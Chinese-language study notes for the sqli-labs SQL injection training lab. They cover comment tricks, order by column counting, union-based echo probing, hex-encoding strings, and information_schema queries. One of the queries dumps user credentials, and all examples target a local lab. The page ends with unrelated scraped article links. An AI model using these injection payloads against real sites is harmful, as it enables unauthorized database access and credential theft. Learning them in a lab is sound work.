sqli-labs-master 闯关前知识点学习
1)、前期准备、知识点
开始之前,为了方便查看sql注入语句,我在sqli-labs-master网页源码php部分加了两行代码,第一行意思是输出数据库语句,第二行是换行符

一、Mysql 登录
1、明文密码 在bin目录下 输入:mysql -u 账户 -p 密码
2、**密码 在bin目录下 输入:mysql -u 账户 -p 后回车再输入密码

二、注释符
--+ -- # 都是SQL语句的注释符 ,sql语句运行到此结束。
三、and or
A and B A,B都Ture 结果才为Ture
A or B A,B 有一个Ture 结果就为Ture
四、limit
limit m,n :显示从m列开始 显示n行
五、 ?id=1 后加 '
可以判断存在SQL漏洞,
例如:http://localhost/sqli-labs-master/Less-1/?id= 1'or 1=1 --+
sql语句:SELECT * FROM users WHERE id=' 1'or 1=1 -- ' LIMIT 0,1
六、order by
order by + n : 查询结果根据第n列排序
order by 可判断数据表 列数
在尝试是N值折半测试
例:http://localhost/sqli-labs-master/Less-1/?id=1'order by 3 --+
SELECT * FROM users WHERE id='1'order by 3 -- ' LIMIT 0,1


七、union 联合查询
在使用 order by 测试出列数后,使用 union + 数字 查看回显信息,测试回显的哪几列,
错误示例:http://localhost/sqli-labs-master/Less-1/?id=1'union select 1,2,3--+
如图,在id值正确时 由于limit 0,1只能显示一行,回显结果无法做出正确判断

正确示例:http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,2,3--+
如图,将id值设置为-1(即不存在值),结果回显为第2、3列

八、利用union 回显位置进行数据库查询
例:http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,2,user()--+
在回显位置 显示用户(select user())

九、' 部分 特殊字符部分转化为十六进制
注:在SQL注入时 如需 ' ' 单引号括住内容 尽量转化为16进制(0x+内容的十六进制)
方式如下:

十、暴库SQL语句
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='库名'
查列:select column_name from information_schema.columns where table_name='表名'
查字段:select 列1,列2,列3 from 库名.表名
注:引号包裹部分 整体使用十六进制代替 如 table_schema='security' -> table_schema=0x7365637572697479
十一、SQL常用函数
查询函数
1.version() --Mysql版本
2.user() --数据库用户名
3.database() --数据库名
4.@@datadir --数据库安装路径
5.@@version_compile_os --操作系统的版本
字符串连接函数:
1.concat(字符串1,字符串2) --没有分隔符的连接字符串
2.concat_ws(-/~,字符串1,字符串2) --含有分隔符的连接字符串
3.group_concat(字符串1,字符串2) --连接一个组的所有字符串,并用,分隔每一个字符。
例:select 1,2,group_concat(concat_ws(0x2d2d,id,username,password)) from security.users
使用及区别详情见:https://baijiahao.baidu.com/s?id=1595349117525189591&wfr=spider&for=pc
sqli-labs-master 闯关前知识点学习的更多相关文章
- sqli-labs-master less05 前 知识点学习
1. left()函数: left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0 例: select left(database(),1)='s' 结果返回1 先查询数据库 datab ...
- sql-lib闯关1-10关
闯关之前我们需要搭建所需环境SQLi-Labs SQLi-Labs是一个专业的SQL注入练习平台,该平台包含了以下在测试场景中常见的注入类型: 1.报错注入(联合查询) 1)字符型 ...
- CTFhub-WEB前置-http协议闯关
前情提要: 在渗透学习过程中,web的基础知识很重要,在这里通过long long ago之前学习的http基础,并结合网上的CTFhub--WEB前置之http协议闯关,对web基础知识进行加固并查 ...
- 网页闯关游戏(riddle webgame)--H5刮刮卡的原理和实践
前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. 对于刮刮卡, 想必大家都很熟悉, 也很喜 ...
- 《JavaScript 闯关记》
为何写作此课程 stone 主要负责基于 Web 的企业内部管理系统的开发,虽然能够熟练地使用 JavaScript,但随着对 JavaScript 的理解越来越深,才发现自己尚未掌握其精髓. 201 ...
- 《JavaScript闯关记》视频版硬广
<JavaScript闯关记>视频版硬广 stone 在菜航工作时,兼任内部培训讲师,主要负责 JavaScript 基础培训,2016年整理的<JavaScript闯关记>课 ...
- 某xss挑战赛闯关笔记
0x0 前言 在sec-news发现先知上师傅monika发了一个xss挑战赛的闯关wp([巨人肩膀上的矮子]XSS挑战之旅---游戏通关攻略(更新至18关)https://xianzhi.aliyu ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
随机推荐
- STM32移植FreeRTOS(1)
"STM32F103VET6<_>FreeRTOS" 1.项目功能实现 1)LED灯定时闪烁 2)KEY按键检测 3)FreeRTOS任务创建 4)串口输出程序运行状态 ...
- 万亿级KV存储架构与实践
一.KV 存储发展历程 我们第一代的分布式 KV 存储如下图左侧的架构所示,相信很多公司都经历过这个阶段.在客户端内做一致性哈希,在后端部署很多的 Memcached 实例,这样就实现了最基本的 KV ...
- Java入门(5)
阅读书目:Java入门经典(第7版) 作者:罗格斯·卡登海德 protected变量只能在其所在的类,该类的子类,以及同一个包里的其他类中使用.包是一组用于完成相同目标的相关类. private变量只 ...
- 力扣 - 剑指Offer 35.复杂链表的复制
目录 题目 思路1 代码实现 思路2 代码实现 题目 请实现 copyRandomList 函数,复制一个复杂链表.在复杂链表中,每个节点除了有一个 next 指针指向下一个节点,还有一个 rando ...
- 详解Git
版本控制 基本概念 版本控制是一个非常简单的概念,我举个例子简单说明一下你就能大概明白它是一个什么东西,当你不会版本控制的时候: 你的BOSS决定做一款灰常牛逼的软件,找你进行开发 当你做好之后,老板 ...
- axios网络封装模块
功能特点 在浏览器中发送XMLHttpRequests请求 在node.js总发送http请求 支持Promise API 拦截请求和相应 转换请求和响应数据 axios请求方式 支持多种请求方式 a ...
- layui下拉框后台动态赋值
前台页面: <select name="xm" id="xm" lay-verify="required" lay-filter=&q ...
- sk_buff结构--转载
套接字缓存之sk_buff结构 https://www.cnblogs.com/wanpengcoder/p/7529486.html 来此此处 sk_buff结构用来描述已接收或者待发送的数据报文信 ...
- ceph luminous版本限制osd的内存使用
引言 ceph自从到了L版本以后,L版本的启用,对性能本身有了极大的提高,一直对这个比较不放心的就是内存的占用,刚开始的时候记得大量dd就可以把内存搞崩掉,这个应该是内部的设计逻辑需要更多的内存的占用 ...
- python之对元组的初步了解
元组: 元组与列表类似但是又有不同,主要的不同就是元组属于不可变序列,一旦创建,任何方法都不可以修改元素. 元组使用小括号( )表示,这与列表不一样,列表是用方括号表示[ ]. a=('a','b') ...